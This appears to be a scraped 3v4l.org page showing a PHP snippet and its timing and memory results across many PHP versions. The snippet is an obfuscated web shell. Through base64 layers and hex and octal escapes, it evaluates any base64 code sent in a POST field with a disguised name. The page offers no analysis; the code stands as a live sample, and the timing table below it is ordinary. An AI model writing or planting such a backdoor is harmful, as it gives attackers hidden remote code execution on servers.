3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\"; $__=\"JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\"; $___= \"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\"; if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D\"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); } $code=base64_decode($_); eval($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; echo($___($__)); eval($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0060.03712.50
5.4.300.0040.03712.50
5.4.290.0040.04212.50
5.4.280.0060.03512.39
5.4.270.0060.03512.39
5.4.260.0070.03512.39
5.4.250.0080.04112.39
5.4.240.0070.03412.39
5.4.230.0060.04012.39
5.4.220.0060.03412.39
5.4.210.0040.03612.39
5.4.200.0040.04312.39
5.4.190.0050.03512.38
5.4.180.0040.03712.38
5.4.170.0040.03712.39
5.4.160.0080.03612.39
5.4.150.0050.03612.38
5.4.140.0040.04112.07
5.4.130.0080.03212.05
5.4.120.0070.04912.02
5.4.110.0030.03912.02
5.4.100.0040.04312.02
5.4.90.0050.03712.01
5.4.80.0060.03712.02
5.4.70.0060.03412.01
5.4.60.0020.03812.01
5.4.50.0040.03712.01
5.4.40.0060.03312.00
5.4.30.0010.03912.00
5.4.20.0030.03611.99
5.4.10.0070.03212.00
5.4.00.0050.04111.49
5.3.280.0060.03712.71
5.3.270.0060.03812.72
5.3.260.0080.03512.72
5.3.250.0060.03512.72
5.3.240.0050.04412.72
5.3.230.0080.03912.71
5.3.220.0040.04012.68
5.3.210.0060.04112.68
5.3.200.0110.03012.68
5.3.190.0060.03712.68
5.3.180.0070.03512.68
5.3.170.0040.03712.67
5.3.160.0040.03812.67
5.3.150.0050.04512.67
5.3.140.0040.04212.66
5.3.130.0060.04112.66
5.3.120.0070.04312.66
5.3.110.0060.04412.66
5.3.100.0060.03812.12
5.3.90.0090.03712.08
5.3.80.0050.03612.08
5.3.70.0050.03612.08
5.3.60.0080.03312.06
5.3.50.0070.03612.00
5.3.40.0050.03512.00
5.3.30.0060.03511.95
5.3.20.0050.03511.73
5.3.10.0040.03611.70
5.3.00.0040.03711.68
5.2.170.0050.0309.18
5.2.160.0040.0359.18
5.2.150.0050.0329.18
5.2.140.0040.0319.18
5.2.130.0060.0279.14
5.2.120.0040.0319.14
5.2.110.0040.0289.15
5.2.100.0040.0299.14
5.2.90.0060.0269.14
5.2.80.0030.0319.14
5.2.70.0060.0279.14
5.2.60.0110.0289.10
5.2.50.0050.0289.07
5.2.40.0040.0289.05
5.2.30.0040.0329.02
5.2.20.0060.0289.00
5.2.10.0040.0278.93
5.2.00.0060.0308.79
5.1.60.0060.0218.08
5.1.50.0060.0288.07
5.1.40.0040.0238.05
5.1.30.0050.0238.41
5.1.20.0040.0318.42
5.1.10.0030.0308.15
5.1.00.0040.0288.15
5.0.50.0050.0236.62
5.0.40.0020.0266.48
5.0.30.0050.0296.29
5.0.20.0020.0216.27
5.0.10.0050.0186.25
5.0.00.0030.0366.24
4.4.90.0040.0174.78
4.4.80.0050.0134.75
4.4.70.0040.0144.76
4.4.60.0030.0164.76
4.4.50.0030.0164.77
4.4.40.0010.0264.71
4.4.30.0020.0154.76
4.4.20.0020.0184.84
4.4.10.0010.0194.85
4.4.00.0010.0274.76
4.3.110.0030.0144.67
4.3.100.0010.0244.66
4.3.90.0020.0154.63
4.3.80.0040.0224.58
4.3.70.0020.0204.63
4.3.60.0010.0164.63
4.3.50.0040.0144.63
4.3.40.0030.0244.54
4.3.30.0040.0143.29
4.3.20.0020.0163.27
4.3.10.0030.0143.22
4.3.00.0130.0237.92

preferences:
145.25 ms | 1394 KiB | 7 Q